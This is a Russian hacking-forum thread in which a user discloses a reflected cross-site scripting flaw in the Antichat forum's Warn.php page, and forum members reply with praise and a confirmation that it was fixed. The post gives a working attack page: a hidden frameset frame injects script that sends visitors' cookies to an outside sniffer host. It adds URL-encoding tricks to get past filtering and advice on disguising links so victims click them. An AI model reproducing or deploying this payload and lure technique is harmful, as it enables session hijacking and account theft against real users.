Форум АНТИЧАТ - New! Уязвимость Форум.Античат.Ру (не критическая)

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)

New! Уязвимость Форум.Античат.Ру (не критическая)

http://forum.antichat.ru/Warn.php пропускает вхождения

Пример: http://forum.antichat.ru/Warn.php?do...kie);</script>

Чего делать?
Создавать фрейм-содержащую страницу, где левый невидимый фрейм будет иметь путь до снифера* (* - см.ниже), а центральный - типа липовый сайт. И давать ссылку на свой сайт.
Вот так выглядит index.html (в примере адрес снифера указан мой):

Код HTML:

<html>

<head>

<title>Типа липовый сайт...</title>

</head>

<frameset cols="0,*" frameborder="NO" border="0" framespacing="0"> 

  <frame name="leftFrame" scrolling="NO" noresize src="http://forum.antichat.ru/Warn.php?do=ViewWarnings&id=0%22%3E%3Cscript%3Edocument.body.background=%22http://altsupport.h15.ru/cgi-bin/script.php?cook=%22%2Bdocument.cookie;%3C/script%3E">

  <frame name="mainFrame" src="main_frame.html">

</frameset>

<noframes><body>Ты зачем фреймы отрубил, засранец??? :)</body></noframes>

</html>

...
*
Так как + (плюсик) вырезается, его заменяем: %2B
Чтобы все это впихнуть в путь левого фрейма, " (кавычка) и скобки тоже заменяем:
" - %22
> - %3C
> - %3E
...
Если лень возится с сайтом, то можно и тут просто ссылкой дать. Не каждый же смотрит на статусную строку? А если еще УРЛ и перекодировать, то даже если и смотрят - все-равно нажмут (то что ниже - не перекодировал).

Как пример:
...
!ВНИМАНИЕ! ПРИ НАЖАТИИ НА СЛЕДУЮЩУЮ ССЫЛКУ ВАШИ КУКИ УЙДУТ КО МНЕ НА СНИФЕР!
...
Всем добро пожаловать на сайт http://forum.antichat.ru
...
© censored!

Нифига себе намутил . А бага то красивая :) Аффтар жжот!!!

Спасибо, исправлено.

censored!

Младца!, Что еще сказать? =). Интересно, когда же ты мне аську свою в приват отошлешь? =)))

Цитата:

Сообщение от Algol

Спасибо, исправлено.

хорошо что исправил а то я по этой ссылке перешел )))

Молодец ... Даю грина )

Цитата:

Интересно, когда же ты мне аську свою в приват отошлешь?

Чуток попозже. А то из дома по модему раз в год, а на работе тогда ообще люлей отгребу. Я ведь в инете уже живу почти. 18 часов в сутки =)

Цитата:

хорошо что исправил а то я по этой ссылке перешел

Ничего бы страшного не случилось:
а. я не крыс и не гажу там где живу
б. толку то мне от твоего хеша

Цитата:

Молодец ... Даю грина

пасиба!